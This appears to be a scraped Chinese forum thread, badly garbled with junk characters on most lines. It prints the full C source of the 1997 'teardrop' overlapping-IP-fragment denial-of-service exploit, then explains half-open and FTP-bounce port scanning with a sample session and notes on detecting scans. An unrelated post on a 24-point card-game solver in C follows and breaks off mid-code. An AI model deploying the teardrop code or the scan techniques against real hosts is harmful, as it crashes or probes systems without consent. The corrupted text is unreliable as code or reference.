敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20 ) w) Z; G+ m* C) w: n
offset=0
# t7 {; \5 \3 G0 L$ g这样第二个碎片的 end=9+10=194 `" s* G! l2 {
offset=offset+(20-offset)=20
. t& K1 |% t) s, a- ]5 d. ?fp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>
6 q' X2 b6 H( [3 J) }/*& z0 ~/ j: j4 \  b( w* p( V4 \. ^+ `
* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97, D7 S- T; l- n! x- {
*2 O" Y  z6 x9 c9 q% H
* Linux/NT/95 Overlap frag bug exploit! ]) U' z, q# t( p
*3 x* K+ o7 k6 L9 m$ j
* Exploits the overlapping IP fragment bug present in all Linux kernels and( `& O: R# ]; Y; H7 u1 h
* NT 4.0 / Windows 95 (others?)3 x$ R; u( D5 z) W( S
*: D; X$ }. m. k8 Z( ~7 Y7 ~9 h
* Based off of: flip.c by klepto
9 R/ N2 L/ h: d/ L* Compiles on: Linux, *BSD*
' w2 R+ r9 u1 g3 o& V*5 p: {  B/ k" N3 E) i9 E" j
* gcc -O2 teardrop.c -o teardrop
1 q) X; T! W: m! s* OR" Q& u6 `" Q# ?+ E
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
$ T6 y0 b  _- R; G$ y*/</P><P>#include <STDIO.H>
5 U0 M  D4 Z+ J) C4 D! ]1 j#include <STDLIB.H>7 J) r' p* l8 R( N8 _9 [* P! G
#include <UNISTD.H>6 B( p; H5 L% g3 m
#include <STRING.H>
( H! A0 i* P0 C. D6 z. ~; G- w#include <NETDB.H>
4 u0 d+ v9 n0 t5 |: {& V3 K$ T2 w#include <NETINET in.h>, y- [) m) D( E6 n, f, F, u
#include <NETINET udp.h>
, v' K: |6 Z1 I, q) W. f) K#include <ARPA inet.h>
# X" ^( ?" O, T9 r( |#include <SYS types.h>
) v' n6 k. ^5 t#include <SYS time.h>. E- R1 @% E9 i1 }' r5 t
#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING7 E$ Z' `1 S; o
/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */) V- d9 ?- {4 B! r1 {6 N
#define FIX(n) (n)
- E$ c/ \0 v7 i% K6 a# m& c3 J) e#else /* OpenBSD 2.1, all Linux */3 H! i. m  ]' A8 ~5 b: \- E- E
#define FIX(n) htons(n)
- Z: x9 q  E& ?0 V( w1 }) u: c#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */2 e' ]$ g! B3 q4 \2 e
#define IPH 0x14 /* IP header size */
' w9 R! i  v9 L7 v#define UDPH 0x8 /* UDP header size */
$ X4 l" g/ v/ b#define PADDING 0x1c /* datagram frame padding for first packet */- o6 v7 R$ o1 l1 a" s# q, f
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */( Y6 j2 m  N" ~# z: _8 o& Z' ~" i0 @
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can: z9 Z% P9 R) x& m, t! ~$ g
* withstand maybe 5 or 10 sometimes... Experiment.
1 d4 H2 \0 x5 J) J3 X% B*/</P><P>void usage(u_char *);
( W' }# I$ ^! J' C# q2 e1 E  yu_long name_resolve(u_char *);, ]( c4 J+ f- [3 |  t
u_short in_cksum(u_short *, int);  X% S  w8 s+ m4 b. V
void send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)3 L. |+ A) G: V& k7 T7 P8 _# M
{
0 q5 V3 y: E, h- O* lint one = 1, 5 C# a3 f( r, M( a5 ~! l
count = 0,
5 y9 ~6 |, A) M( g4 j0 v1 p7 `  z& mi, ; ~6 j, V9 x$ e
rip_sock;
( o3 w. {5 ^2 o' r8 |u_long src_ip = 0, dst_ip = 0;
! C" `5 x. t& H+ vu_short src_prt = 0, dst_prt = 0;
" {. K+ ~* g% w0 f* Mstruct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW4 S9 d1 }: H  r
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)
8 Y6 K$ p' N' k: a{
+ w/ i) {3 |1 m: |4 a$ nperror("raw socket");$ J5 M" j2 K9 ^8 H* v- t' f. _
exit(1);
2 ]8 w* P6 }& U}( j! F0 U& T2 g5 [
//由系统处理IP校验和。( [7 x: O. q7 H. H1 C
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))7 k% Z2 M8 j3 |4 o
&lt; 0)
, D  y1 l' I2 f{' W$ b, r* v5 `  P
perror("IP_HDRINCL");9 x" \* l6 C/ v% P) s! ?! c
exit(1);# N5 U( G! ]+ V2 m: D% [7 l
}</P><P>if (argc &lt; 3) usage(argv[0]);
: a, I# n: C! O7 z3 @if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))1 j# l8 I! ]) Z4 {/ f
{5 c( X7 R* I2 x! Y& y1 @
fprintf(stderr, "What the hell kind of IP address is that?\n");. C7 M: a# ?( j2 K" \! i
exit(1);6 P( t% W8 O) h8 B
}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)8 V& x% F. n: ~4 n& c0 L
{& l6 X9 y" y1 U# O
switch (i)
3 c) t1 e7 T8 t{
5 z: b$ w; ~1 K8 I$ Q7 ^! i( gcase 's': /* source port (should be emphemeral) */- j( |4 |, s9 S) ]; `2 a7 m
src_prt = (u_short)atoi(optarg);
8 Q" P! u9 h# u- ibreak;
1 ?2 ?3 b+ E0 |6 y4 U$ s# jcase 't': /* dest port (DNS, anyone?) */+ c1 t/ Q2 y8 |" {" a9 ?
dst_prt = (u_short)atoi(optarg);7 {4 v, z: b" o* \; R
break;; ^- Z# q' ]0 f) ~) F
case 'n': /* number to send */
0 @$ ]7 g! P- D" mcount = atoi(optarg);
8 d" }3 D6 T" N6 z2 l! [break;5 ^! S" ?. b# M/ L% L  m% o6 G
default :$ F% p* e5 N' A* y7 i4 s6 u5 r
usage(argv[0]);
1 I* }$ l( @" j' e) t( vbreak; /* NOTREACHED */) z) E8 [: X/ w/ t2 F5 ]+ w# x7 M
}
' |$ p6 q: X9 M, D- ~8 A' _7 Z. E  p& w: }}</P><P>srandom((unsigned)(time((time_t)0)));
$ }3 g6 {- U5 E( O2 |if (!src_prt) src_prt = (random() % 0xffff);9 [: _$ ^( }6 s" B0 y* `
if (!dst_prt) dst_prt = (random() % 0xffff);2 b& j4 k4 s# @% N- U  R: `# d/ R
if (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");6 c6 N( j( O$ k
addr.s_addr = src_ip;7 f5 n% @' @9 \% |% x
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);) H8 |! `. |  M+ D" _; n
addr.s_addr = dst_ip;
% l2 Q7 M6 j& H( i& Y  Wfprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);  d# f0 f6 z" @  [$ h3 W
fprintf(stderr, " Amt: %5d\n", count);# Y* b/ j/ O; N" ~
fprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)2 Z- j7 X0 Y. G. F$ \- e# t, }
{6 t; S" r- e- A: C5 i8 [. s# U% ?
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);9 u' u/ @/ X; w2 S, H* o
fprintf(stderr, "b00m ");
5 u; v) g9 W. k3 A* z0 eusleep(500);
/ ]. h# p: }5 k! S}* n* p: k" d) W4 k8 ^% S) t! H) _
fprintf(stderr, "]\n");
. D, V/ a; V5 S8 i- hreturn (0);# Q6 _: S. t  v2 e+ D+ D6 V
}</P><P>/*  k9 J" d/ Y9 x" I2 Y
* Send two IP fragments with pathological offsets. We use an implementation
2 d: G/ c: O+ E9 d7 \3 ?* independent way of assembling network packets that does not rely on any of
$ g" j9 `  l! ?/ h  b) E* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).. Z' W/ S! L9 O. P( o* J2 O
*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,3 a7 Z, y9 W. x, s3 h! U, T
u_short dst_prt)6 W" a. T' ~" b8 h6 P+ b
{5 ^% J! g  v) G$ P
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
7 q) ]- F7 {: z0 d  I  X0 f1 fu_char byte; /* a byte */
: c3 n" d! C: K* tstruct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;
' G, _$ r9 J9 r. o2 W- R* }sin.sin_port = src_prt;
- X) |0 [2 n) O: M6 }# g9 bsin.sin_addr.s_addr = dst_ip;</P><P>/*4 O- h, y! B3 X
* Grab some memory for our packet, align p_ptr to point at the beginning* Z! ]! L1 G: i+ F6 i6 c
* of our packet, and then fill it with zeros.
2 x0 ]$ i9 Z; o# {*/" V, j3 v7 ?- {/ w: h: a
packet = (u_char *)malloc(IPH + UDPH + PADDING);, b2 B- Y5 L4 @2 `- g# I
p_ptr = packet;
- ~2 C: H! q+ n# Ibzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */" k% y  Q  i0 l
memcpy(p_ptr, &amp;byte, sizeof(u_char));  h7 w5 O& z- x# |0 l
p_ptr += 2; /* IP TOS (skipped) */6 Q3 h3 S, \' T9 z
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
" Q' c* ^4 a# b8 L- Zp_ptr += 2;( C$ w9 M  d- N- {9 A% J+ ^! v" S
*((u_short *)p_ptr) = htons(242); /* IP id */
8 y2 ]0 c3 H+ P# q4 P  G" e- `$ I4 Fp_ptr += 2;
- g! r. a+ C6 \* c*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */* q- {; p- b% l9 e/ [" }9 c
p_ptr += 2;  T/ p  m8 J) M
*((u_short *)p_ptr) = 0x40; /* IP TTL */8 \1 v" z& V; ^' r  n
byte = IPPROTO_UDP;* G" S2 `7 z" t& C7 Z. m
memcpy(p_ptr + 1, &amp;byte, sizeof(u_char));, b# w& B. z/ Z! w3 e! w
p_ptr += 4; /* IP checksum filled in by kernel */, ]. D, \$ ]- W0 l
*((u_long *)p_ptr) = src_ip; /* IP source address */" Y/ U7 P3 h$ }, `( c
p_ptr += 4;, I; Q/ F. @" T2 G$ [! ]9 R" u
*((u_long *)p_ptr) = dst_ip; /* IP destination address */+ \! }8 r0 ^1 z& s& f
p_ptr += 4;
8 ^: K) Q. N0 G$ ^- [: E6 b: h*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */" P) |( `& V9 S
p_ptr += 2;
3 i" j% z" F" g1 G*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
" q$ b. g7 f* j: I/ q: }$ w8 Jp_ptr += 2;4 @9 }: z/ j4 e! i' J
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,2 f8 B7 A8 c' Q
sizeof(struct sockaddr)) == -1)
  F- ^! O& O: I0 W6 p+ w" v1 D{! k" h% g; d% ^, U  o, M! C
perror("\nsendto");
$ F' @5 {$ U5 Yfree(packet);- Y6 J8 s$ d: q! W
exit(1);; @5 Q9 {& y! d7 w+ o( h
}</P><P>/* We set the fragment offset to be inside of the previous packet's
- K, F" v3 q8 k/ L4 q* payload (it overlaps inside the previous packet) but do not include
/ b! ^0 r: b' s: ]; ]* G0 I* enough payload to cover complete the datagram. Just the header will6 R. @4 e2 v- [; w
* do, but to crash NT/95 machines, a bit larger of packet seems to work
/ |2 T9 E9 s7 G* better.
. d# k$ I$ j, n! n4 W% g*/' T4 V6 f) k0 p( r
p_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */  d3 ]+ |& P2 L7 y+ k
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
/ E' ?' h- [1 Y0 ]p_ptr += 4; /* IP offset is 6 bytes into the header */
1 G3 r( O( Q- w- C+ }* O* i/ N*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,
; l0 z& `" Z- L; q3 B' r" msizeof(struct sockaddr)) == -1)- J* l% Q  d$ o* D" p  Z1 }. ]
{# a# ?' C* R$ f7 S/ k/ E. u
perror("\nsendto");3 ~. y4 g1 Y- z& y
free(packet);' E8 m/ f# G; y3 W. ]0 M+ T
exit(1);
* N) {8 p' {+ h2 d}
$ K) z" @9 J1 Y+ @/ Q' H5 Mfree(packet);* S- c  N8 r( R) Z! Q
}</P><P>u_long name_resolve(u_char *host_name)
3 |3 i, _* t2 ?{( b, n) \+ O$ T& ^1 V& j) M  i; y
struct in_addr addr;
, Z. L2 i$ m& G. h( vstruct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1), A5 W3 |& P& q3 U
{
$ i( h0 z  W4 a$ A' n* M- Sif (!(host_ent = gethostbyname(host_name))) return (0);
+ P/ V0 V) h8 q5 G+ L6 bbcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);0 k1 T) @( j& _4 b
}
$ j5 X# |. Z' ?* A9 Ireturn (addr.s_addr);3 ~1 k8 z6 A  \: \( |. t
}</P><P>void usage(u_char *name)8 G$ _. C" ]. Y
{, S% K  J% [# ]  c
fprintf(stderr,( \8 M% g+ r1 i4 w2 i
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
7 V" P/ i, T$ aname);9 C; g* S' ^4 R
exit(0);
% l* `  W5 ~# V7 V# ^  D}</P><P>) c! ?8 U1 i- y# W: [
4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法: - d3 N  p; E+ ?4 g: S# U4 D
(1) Half-open(半打开)) d6 @: x" w# j9 r
利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),
) U$ v1 [2 D. w/ u如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner
) X, I& J) t* {7 ?5 |( d& E利用了FTP的port命令,例如可以这样作:9 _4 P  M" w- W& i. n
选择一个FTP服务器,连上后令port命令指向目标机,如果返回
+ l  p: b" U+ `' o, S: u) `值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则
) C8 K! s( Y" Y" ?该端口无服务。
+ `5 m! K; x' I; S7 d0 Otelnet 192.168.1.13 21
' v: W" P2 @7 ?) C1 HTrying 192.168.1.13...+ v3 ]' P# P1 j) K/ b8 H; C# }! V
Connected to pp.bricks.org.
! K8 u+ D( x0 aEscape character is '^]'.6 g, C: a, v, k* l5 M
220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)
) h6 l0 s5 N/ H9 Y6 FThu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous
- O* E& H) E! Y; n: q4 m331 Guest login ok, send your complete e-mail address as password.
) O, z" p& W1 a, `5 D8 Vpass aa@aa.aa
5 |0 z1 q( v/ j2 r1 G( R230 Guest login ok, access restrictions apply.9 s* w) j# ]( M  ]0 l; Q' Q
port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.
5 h9 D7 c3 v$ y425 Can't build data connection: Connection refused.
: Y+ h* I1 c* P8 B5 [//该端口未活动 & @/ P$ K, k/ u" C. ?. d) J' o
150 Opening ASCII mode data connection for file list.
3 w6 D. D; Q+ c* @+ J226 Transfer complete.
& l& N8 b# L0 i1 p1 _//该端口活动中
. l( w8 v$ g9 m) z但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing
1 o& q4 y: S- uSYN|FIN ACK or SYN|ACK* RST
( K; _6 C- a& v& r4 T: S0 kACK Nothing RST
8 |1 r6 L* o2 l0 Q) ^0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport
4 ]( G* q( i4 @2 g一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,
% M& B! m% V/ D4 Y( K若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认
! Y" @) z. P& [) w" S6 h* b7 L定它在向你做portscan。</P><P>notes:
6 j2 _' o3 m: A. o, Y早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),* R9 {5 h, E# t+ \8 l
而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的
7 o; L* @8 G0 B: m都是向它scan。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left># U$ a6 R' l( Y: U9 C
  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。
& w4 _# C# c* @; n: H, q0 z
! X9 k' ]/ Y% u, a" ~, F3 p% a: f  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。
8 n; q; q  c6 A2 U% b首先穷举的可行性问题。我把表达式如下分成三类——5 G# ~( w, y; t0 Z. S
<FONT color=#ff0000>1、 无括号的简单表达式。
2 _: i9 ^6 e; }! _7 g/ p2、 有一个括号的简单表达式。
+ h# C8 ?6 ^  c& F% O3 x3、 有两个括号的较复4、 杂表达式。
4 D" V2 t  n1 q2 c</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:+ h7 g# O5 h& o
<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */3 n2 p0 w- y& Z8 J$ Q+ w  \- @# [% U
/* c[] 存放四张牌的数组 */# x) x0 w8 q4 X% x
/* k[] c[]种四张牌的代号,其中k[I]=I+1。% q6 o/ g$ j0 o" ~' u4 f
用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */
" J; y7 `$ q  |* o, W/* kans[] 暂存生成的排列组合 */4 a) n, i: d* k" o+ U
/* j 嵌套循环的次数 */$ P2 ~+ l7 U  D$ q- k
int fans(c,k,ans,kans,j)5 n4 K2 n, |" x- a/ Y- Z
int j,k[],c[];char ans[],kans[];
4 o$ }1 V  Y! f3 T4 L+ f& r5 [! x{ int i,p,q,r,h,flag,s[4],t[4][4];/ H& `" z+ F7 c+ X9 k7 D# t
for(p=0,q=0;p&lt;4;p++)+ y. ]6 r% h( L& V) {0 z/ H
{ for(r=0,flag=0;r<J;R++)
$ I, W) l& a( R$ S( T; @ if(k[p]!=kans[r]) flag++;% G: U$ ?2 M% Z9 ~8 Y/ u8 b, B
if(flag==j) t[j][q++]=k[p];: Q* u2 j: f. p" x
}
# |( N4 Z" a' K6 afor(s[j]=0;s[j]&lt;4-j;s[j]++)
: ^/ D5 Y! c7 k{ kans[j]=t[j][s[j]];# O$ v" h# b& d' B/ M
if(j==3) { for(h=0;h&lt;4;h++)
+ W# Z; h8 e- x! lans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表
6 K* T/ D' I6 u) D达式中的位置 */
2 I' h6 _1 L' vfor(h=0;h&lt;3;h++)9 _8 t2 `3 n  y
symbol(ans,h); /* 在表达式中添加运算符号 */. N; ^# B1 m9 P4 f6 ]+ X5 N+ B( {0 f
}4 E! Q9 P( o" Z7 r
else { j++;% }" p% i8 Z& }8 S+ |6 r
fans(c,k,ans,kans,j);
. G% g' }5 A9 _8 E- [- Aj--;  k4 ~3 q, n3 a) [  f7 c
}
' p) K+ Q' g( |+ E% _3 Q}
% @8 M, M6 \' G}</FONT>4 U/ y/ ?$ t' S; a
& O. r1 ?8 O7 {' j
  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:
" F: F$ \* \6 U' D
! U" o' b, a! ?" I0 z4 z<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/8 p2 x7 t' `# S: I
int sans(ans,sy,j,h)% M  p: @* a# c, w: [
char ans[],sy[];int j,h;. t& \% \/ B: d- u6 E4 a4 D7 D
{ int i,p,k[3],m,n; char ktans[20];( k* r: a& y; ]
for(k[j]=0;k[j]&lt;4;k[j]++)4 O3 ?3 E% |, G" Q7 _* K
{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位1 a. K8 p# m) Z) {) w' ?3 \% y
这里的三个运算符号分别存放在1、3、5位*/
  o( T! t' N8 Rif(j==2)
# F7 @, k# c: x{ ans[5]=sy[k[j]];
1 G  C' {  l, J3 `1 L/* 此处根据不同的表达式形式再进行相应的处理 */0 @+ x. p( x; b
}4 V3 K' _" f% e/ S
else { j++; sans(ans,sy,j--,h); }: e8 A- d1 M( Z. g1 X: ]
}
0 w: n' M1 B8 L/ X) f+ R7 M}
& ]6 d( @& r% @- V4 l
' M7 ]6 G* i% M! K3 U</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。
. g  F: m8 A; M) |for(m=0;m&lt;=4;m+=2)
) r# o1 H3 j/ J5 g* [- s& Wfor(n=m+4;n&lt;=8;n+=2)
$ ^. R" L$ ?; p  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。
# P/ }+ D3 G. l0 T( O( F, ]4 G, f5 p$ y0 s5 m4 [; h6 L7 R
  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。+ `0 ?, h. \. x, e
</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。
3 V2 [+ K+ b' o& _在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。6 H# U' X) g! j: s. }5 c  f9 G

3 |1 o6 ?2 h. O  U  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。  p% \, `8 i8 }' Z- p: h/ l' O
# N9 o# g9 _9 i3 M: [5 S
  那么作为栈的著名应用,表达式的计算可以有两种方法。. C3 k0 X& d: t  j" ^9 A

2 i8 C7 F2 }. [, F" S  <FONT color=#ff0000>第一种方法——</FONT>" T8 W# R; t! l* {9 I: T
  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。
9 A' M, @! @7 Y  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:. B/ w  s! V1 X" g
1、 若W为操作数
; t6 ?% g4 M8 e2、 则将W压入操作数栈OVS- Y6 ]/ w  x1 i: d4 [6 Q1 I- }
3、 且继续扫描下一个字符
2 n; c7 ^% V9 O: m5 V: z* g4、 若W为运算符7 X/ E- a9 Y* J% B
5、 则根据运算符的性质做相应的处理:
) l9 t9 O4 x! u- c/ k* `: {7 \; ?. u(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。
* ?% z3 I/ U5 L3 {4 N6 F7 q+ ]0 g5 v(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。
4 R; |% n0 K& a3 f" ]- M(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。
3 a& H5 y1 H" g(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。
7 X1 h$ k" n9 p2 B0 v+ ?/ z4 O: U7 _: y
6 {. u  V: s6 q- F+ x<FONT color=#ff0000>  第二种方法——</FONT>
: \/ ^3 n% M! j# _  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。
% X$ B' x% G( A* Q  n* Z8 b  a
4 Q( ]1 G3 b0 t2 M9 `8 O  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。
8 J6 ]& N9 K, i" q) l5 Y: L( I
  Q* X5 b6 S* X+ E   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。
) Z9 H+ ^2 \. q: A表达式 波兰表达式
/ G3 w& W$ q" h) q" jA-B AB-% q# y/ @! H4 n; J* n4 c* m
(A-B)*C+D AB-C*D+
' D. S: f2 W* c7 Z! j1 I6 lA*(B+C/D)-E*F ABCD/+*EF*-- @2 Z# D, ?0 x" C( |
(B+C)/(A-D) BC+AD-/
' F, t$ j- e( v; q! n  _
9 h  ?  ]) q, ]1 [7 \  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。
' K4 c, ^, o* s! H6 b
/ N2 C$ ^1 v7 L$ \1 F  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。
/ }( I# G8 y5 m8 c! J" a; g% t6 x3 u
8 j# s$ z) q9 m* V; a8 m( F  下面给出转换和计算的具体实现程序——0 Y5 `$ z) P* b: n1 O5 Q# C8 ^, K
9 Y% V/ j5 G. z: C
<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */& Z$ k3 X7 F! f6 E
int first(char c)
- H2 s" _. j; z. \9 I{ int p;
0 L4 `2 V1 {1 k8 [/ @switch(c)4 V$ J  a" t9 {; x$ N( j
{ case '*': p=2; break;
4 O0 T. o+ w. o3 }' fcase '/': p=2; break;) V/ P8 t7 p* ?  E# f0 I
case '+': p=1; break;
2 x4 T1 r4 J/ G6 H* mcase '-': p=1; break;
) e1 [6 R% h( e; _case '(': p=0; break;4 a( i! `( M6 M8 H6 g2 U. F6 e! Y
case '=': p=-1; break;! }" j& k% Y9 Z; x
}
% M/ {, S. A) E4 Jreturn(p);" F7 F! j$ [: D1 g2 G7 X% f* ?
}; p" C1 f, g: @5 T
/* 此函数实现中缀到后缀的转换 */+ d# u  |7 ?) R, J9 }* b: I( J# w
/* M的值宏定义为20 */
# z/ |" j1 C" ^/* sp[]为表达式数组 */
, B/ y: m5 U5 `0 R1 Mint mid_last()
2 x* H% p# u4 u8 q{ int i=0,j=0; char c,sm[M];$ x& B  c8 L2 F9 S3 u/ _- R4 L& `# L
c=s[0]; sm[0]='='; top=0;
& j/ `: }4 o: Y4 d- \! qwhile(c!='\0')
7 B& x4 s6 C' u$ V8 d* L% J& v" E6 _{ if(islower(c)) sp[j++]=c;
4 r7 Z3 y, D' eelse switch(c)
9 m8 L3 s5 V  O; d. |) J/ H{ case '+':/ U" a5 n& _0 w; l8 k$ [2 N/ Y8 V& N
case '-':9 K4 M# p2 [/ [; b8 u1 |
case '*':
